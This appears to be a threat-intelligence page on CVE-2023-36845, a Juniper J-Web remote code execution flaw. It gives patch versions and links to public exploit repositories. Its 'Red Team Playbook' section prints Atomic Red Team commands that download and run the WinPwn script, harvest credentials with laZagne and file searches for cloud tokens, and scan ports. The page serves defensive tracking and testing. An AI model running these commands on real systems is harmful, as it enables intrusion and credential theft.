CVE-2023-36845
Overview
This vulnerability is a PHP External Variable Modification flaw affecting the J-Web management interface component of Juniper Networks Junos OS on EX and SRX Series devices. The root cause lies in improper handling of the PHPRC environment variable, which allows an attacker to manipulate the PHP execution environment. This manipulation enables injection of arbitrary PHP code via crafted network requests to the affected web interface.
Vulnerability Description
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series allows an unauthenticated, network-based attacker to remotely execute code. Using a crafted request which sets the variable PHPRC an attacker is able to modify the PHP execution environment allowing the injection und execution of code. This issue affects Juniper Networks Junos OS on EX Series and SRX Series: * All versions prior to 20.4R3-S9; * 21.1 versions 21.1R1 and later; * 21.2 versions prior to 21.2R3-S7; * 21.3 versions prior to 21.3R3-S5; * 21.4 versions prior to 21.4R3-S5; * 22.1 versions prior to 22.1R3-S4; * 22.2 versions prior to 22.2R3-S2; * 22.3 versions prior to 22.3R2-S2, 22.3R3-S1; * 22.4 versions prior to 22.4R2-S1, 22.4R3; * 23.2 versions prior to 23.2R1-S1, 23.2R2.
Impact
An unauthenticated attacker can remotely execute arbitrary code on affected Juniper EX and SRX Series devices by exploiting this vulnerability. This enables full control over the device, including the ability to manipulate configurations, intercept or disrupt network traffic, and potentially pivot within the network. No user interaction or credentials are necessary, allowing attackers to compromise critical network infrastructure components, leading to severe operational and security consequences.
Solution
Juniper Networks has released patches addressing this vulnerability in multiple Junos OS versions, including 20.4R3-S9, 21.2R3-S7, 21.3R3-S5, 21.4R3-S5, 22.1R3-S4, 22.2R3-S2, 22.3R2-S2, 22.3R3-S1, 22.4R2-S1, 22.4R3, 23.2R1-S1, and 23.2R2. Users should upgrade affected devices to these fixed versions as detailed in Juniper's advisory JSA72300 (https://supportportal.juniper.net/JSA72300). No alternative workarounds are documented; applying the vendor-provided patches is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability exists within the J-Web interface of Juniper Networks' Junos OS, specifically affecting the EX Series and SRX Series devices. This flaw arises from improper handling of external variables in PHP, allowing an unauthenticated attacker to manipulate the PHPRC variable through crafted requests. By altering this variable, an attacker can change the PHP execution environment, leading to the potential execution of arbitrary code on the affected devices. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a significant risk to the integrity and availability of the systems involved.
The attack vector for this vulnerability is primarily network-based, enabling remote exploitation without the need for authentication. An attacker could leverage this flaw by sending specially crafted HTTP requests to the J-Web interface, which is typically exposed to the internet or internal networks. Once the attacker successfully modifies the PHPRC variable, they can execute arbitrary PHP code, potentially leading to full system compromise. This could include unauthorized access to sensitive data, manipulation of network configurations, or even the deployment of malware within the network infrastructure. Given the widespread deployment of Juniper devices in enterprise environments, the potential for exploitation is significant.
The real-world impact of this vulnerability is profound, particularly for organizations relying on Juniper's networking solutions for critical operations. Successful exploitation could lead to severe business risks, including data breaches, service disruptions, and financial losses. The ability to execute arbitrary code remotely means that attackers could gain control over network devices, allowing them to intercept traffic, alter configurations, or launch further attacks within the network. This vulnerability not only threatens the confidentiality and integrity of organizational data but also poses risks to compliance with regulatory frameworks, potentially resulting in legal repercussions and reputational damage.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular vulnerability assessments and penetration testing should be conducted to identify any instances of the flaw within their networks. Network monitoring tools can also be employed to detect unusual traffic patterns or unauthorized access attempts targeting the J-Web interface. Additionally, organizations should prioritize updating affected devices to the latest firmware versions that address this vulnerability. Implementing strict access controls, such as limiting external access to the J-Web interface and employing strong authentication mechanisms, can further reduce the risk of exploitation.
In conclusion, the PHP External Variable Modification vulnerability in Junos OS represents a significant threat to the security of network infrastructures utilizing Juniper devices. Its potential for remote code execution by unauthenticated attackers necessitates immediate attention from organizations. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare and defend against this critical vulnerability. Proactive measures, including timely updates and robust security practices, are essential to safeguarding against the risks posed by this and similar vulnerabilities in the future.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2023-36845, evidenced by a recent emergence of multiple new proof-of-concept exploits circulating publicly. Our telemetry indicates that adversaries are increasingly leveraging automated tools designed to identify and exploit vulnerable Juniper Networks Junos OS devices, specifically on EX and SRX Series platforms. Although the EPSS score remains high and stable, the sudden uptick in exploitation activity signals a shift from theoretical risk to active targeting in the wild. This development significantly elevates the threat landscape, as unauthenticated remote code execution vulnerabilities like this one can be rapidly weaponized to compromise critical network infrastructure. Defenders must recognize that the window for exploitation is narrowing, with attackers now equipped with accessible, reliable exploit code that lowers the barrier to entry for less sophisticated threat actors. Consequently, the risk level associated with CVE-2023-36845 should be considered heightened, reflecting an increased likelihood of successful intrusions and potential downstream impacts on network confidentiality, integrity, and availability.
Update 2 — July 03, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2023-36845, with our telemetry indicating a notable surge in exploit attempts targeting Juniper Networks Junos OS on EX and SRX Series devices. This increase coincides with the emergence of several new proof-of-concept exploits and automation scripts publicly available on widely accessed platforms, significantly lowering the technical barrier for adversaries to conduct remote code execution attacks. Although the EPSS score remains stable, the expanded availability of reliable exploit tools suggests a growing attacker interest and potential for opportunistic exploitation. This development elevates the threat landscape by increasing the likelihood of successful intrusions, particularly from less sophisticated threat actors who can now leverage these resources. Consequently, the risk posture for CVE-2023-36845 should be reassessed as heightened, reflecting an increased probability of compromise and the attendant risks to network confidentiality, integrity, and availability.
Affected Products (93)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Juniper | Junos | All |
cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:-:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r1-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r2-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r2-s2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s3:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s4:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s5:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s6:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s7:*:*:*:*:*:*
|
|
|
Juniper | Junos | 20.4 |
cpe:2.3:o:juniper:junos:20.4:r3-s8:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r1-s1:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r2:*:*:*:*:*:*
|
|
|
Juniper | Junos | 21.1 |
cpe:2.3:o:juniper:junos:21.1:r2-s1:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (1)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Junos OS PHPRC Environment Variable Manipulation RCE
exploits/freebsd/http/junos_phprc_auto_prepend_file
|
Jacob Baines, Ron Bowes, jheysel-r7 +1 | Unknown | - | View |
GitHub PoCs (19)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
vulncheck-oss/cve-2023-36845-scanner
A go-exploit to scan for Juniper firewalls vulnerable to CVE-2023-36845
|
vulncheck-oss | 62 | 6 | 2023-09-16 | View |
|
kljunowsky/CVE-2023-36845
Juniper Firewalls CVE-2023-36845 - RCE
|
kljunowsky | 55 | 13 | 2023-09-26 | View |
|
Asbawy/Automation-for-Juniper-cve-2023-36845
Simple Automation script for juniper cve-2023-36845
|
Asbawy | 19 | 7 | 2024-01-29 | View |
|
zaenhaxor/CVE-2023-36845
CVE-2023-36845 - Juniper Firewall Remote code execution (RCE)
|
zaenhaxor | 4 | 3 | 2023-09-29 | View |
|
ak1t4/CVE-2023-36845
CVES
|
ak1t4 | 5 | 1 | 2024-02-13 | View |
|
cyberh3als/CVE-2023-36845-POC
CVE-2023-36845 PoC script automates the PoC for CVE-2023-36845 targeting Juniper Networks Junos OS's J-Web component on ...
|
cyberh3als | 4 | 0 | 2023-10-02 | View |
|
cyb3rzest/Juniper-Bug-Automation-CVE-2023-36845
|
cyb3rzest | 0 | 2 | 2024-02-01 | View |
|
e11i0t4lders0n/CVE-2023-36845
CVE-2023-36845 – Unauthenticated Juniper Remote Code Execution Vulnerability Scanner
|
e11i0t4lders0n | 1 | 1 | 2024-02-18 | View |
|
0xNehru/CVE-2023-36845-Juniper-Vulnerability
This Python script automates the Proof of Concept (PoC) for CVE-2023-36845, a vulnerability impacting Juniper Networks J...
|
0xNehru | 1 | 0 | 2024-02-14 | View |
|
jahithoque/Juniper-CVE-2023-36845-Mass-Hunting
Juniper RCE (Remote Code Execution) CVE-2023-36845 is a vulnerability that has been identified within Juniper's software...
|
jahithoque | 1 | 0 | 2024-01-30 | View |
|
halencarjunior/CVE-2023-36845
|
halencarjunior | 1 | 0 | 2023-09-27 | View |
|
simrotion13/CVE-2023-36845
|
simrotion13 | 1 | 0 | 2023-10-01 | View |
|
Vignesh2712/Automation-for-Juniper-cve-2023-36845
|
Vignesh2712 | 0 | 0 | 2024-05-04 | View |
|
toanln-cov/CVE-2023-36845
PoC CVE-2023-36845 on Juniper Device
|
toanln-cov | 0 | 0 | 2023-09-27 | View |
|
iveresk/CVE-2023-36845-6-
CVE-2023-36845 и CVE-2023-36846 Juniper Junos OS J-Web RCE
|
iveresk | 0 | 0 | 2024-02-13 | View |
|
ifconfig-me/CVE-2023-36845
A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series and SRX Series all...
|
ifconfig-me | 0 | 0 | 2024-02-17 | View |
|
kopfjager007/CVE-2023-36845
Juniper JunOS J-Web PHP external variable modification (CVE-2023-36845) exploit.
|
kopfjager007 | 0 | 0 | 2025-11-24 | View |
|
P4x1s/ansible-cve-2023-36845
Ansible Playbook for CVE-2023-36845(Juniper Networks Junos OS 远程代码执行漏洞)
|
P4x1s | 0 | 0 | 2023-11-15 | View |
|
CharonDefalt/Juniper-exploit-CVE-2023-36845
|
CharonDefalt | 0 | 0 | 2024-02-03 | View |
Threat Feed
8 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-77 | Manipulating User-Controlled Variables |
35%
|
High | Very High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-36845 |
| supportportal.juniper.net |
GitHub CVE
vendor-advisory
mitigation
|
https://supportportal.juniper.net/JSA72300 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/176969/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-36845 |